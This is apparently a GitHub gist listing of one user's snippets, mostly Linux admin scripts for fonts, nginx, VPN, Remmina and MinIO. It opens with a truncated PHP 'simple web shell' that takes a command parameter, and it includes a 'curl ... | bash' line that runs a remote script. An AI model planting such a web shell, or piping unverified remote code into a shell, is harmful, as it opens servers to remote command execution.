Skip to content

Instantly share code, notes, and snippets.

@hunzo
hunzo / index.php
Created November 25, 2025 03:32
simple web shell
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@hunzo
hunzo / install-noto-fonts.sh
Created November 24, 2025 03:07
Noto Fonts
#!/bin/bash
sudo apt install -y fonts-noto
sudo apt install -y fonts-noto-cjk
sudo apt install -y fonts-noto-cjk-extra
sudo apt install -y fonts-noto-color-emoji
sudo apt install -y fonts-noto-core
sudo apt install -y fonts-noto-extra
sudo apt install -y fonts-noto-hinted
sudo apt install -y fonts-noto-mono
sudo apt install -y fonts-noto-ui-core

Installing the NVIDIA Container Toolkit

Install Docker

curl -sL https://gist.github.com/hunzo/1c4836ad4aab99bdb31ce9a5b3c09e44#file-install-docker-sh | bash

Install the prerequisites

@hunzo
hunzo / default.conf
Created October 24, 2025 07:36
nginx simple apikey
server {
listen 80;
server_name localhost;
location / {
default_type application/json;
if ($http_x_api_key = "") {
return 403 '{"error": "missing api key"}';
}
@hunzo
hunzo / fix-fonts.sh
Last active October 27, 2025 03:37
fix ubuntu-22.04 thai fonts
#!/bin/bash
# Fix Thai font rendering and replace common fonts (Segoe UI, Arial, etc.) with Noto Sans Thai/Noto Sans
set -euo pipefail
echo "[*] Installing fonts (if available)..."
if command -v apt >/dev/null 2>&1; then
sudo apt update
sudo apt install -y fonts-noto-core fonts-noto-color-emoji fonts-noto-mono || true
fi
@hunzo
hunzo / readme.md
Last active October 14, 2025 03:07
Set Ptyxis transparent

Set Ptyxis transparent

dconf read /org/gnome/Ptyxis/default-profile-uuid
gsettings get org.gnome.Ptyxis.Profile:/org/gnome/Ptyxis/Profiles/8fadbd21282f5af820285e8168ebd543/ opacity
gsettings set org.gnome.Ptyxis.Profile:/org/gnome/Ptyxis/Profiles/8fadbd21282f5af820285e8168ebd543/ opacity 0.95
@hunzo
hunzo / install.sh
Created October 7, 2025 06:28
remmina install
#!/bin/bash
sudo apt autoremove -y
sudo apt-add-repository ppa:remmina-ppa-team/remmina-next
sudo apt update -y
sudo apt install remmina remmina-plugin-rdp remmina-plugin-secret -y
@hunzo
hunzo / vpnc-setup.sh
Last active September 30, 2025 08:44
#!/bin/bash
echo "Initializing VPN setup script..."
echo "enter vpn server:"
read vpnserver
echo "enter vpn user:"
read vpnuser
@hunzo
hunzo / fix-all.sh
Last active October 14, 2025 03:25
create file /etc/fonts/conf.d/99-segoe-ui-alias.conf
#!/bin/bash
CONF_FILE_1="/etc/fonts/conf.d/99-fix-all-thai.conf"
sudo tee "$CONF_FILE_1" >/dev/null <<'EOF'
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
<alias>
<family>Arial</family>
@hunzo
hunzo / example-policy.json
Last active August 21, 2025 07:00
Minio Client
{
"Version": "2012-10-17",
"Statement": [
{
"Action": ["s3:GetBucketLocation", "s3:ListBucket"],
"Effect": "Allow",
"Resource": ["arn:aws:s3:::mybucket"]
},
{
"Action": ["s3:PutObject", "s3:GetObject", "s3:DeleteObject"],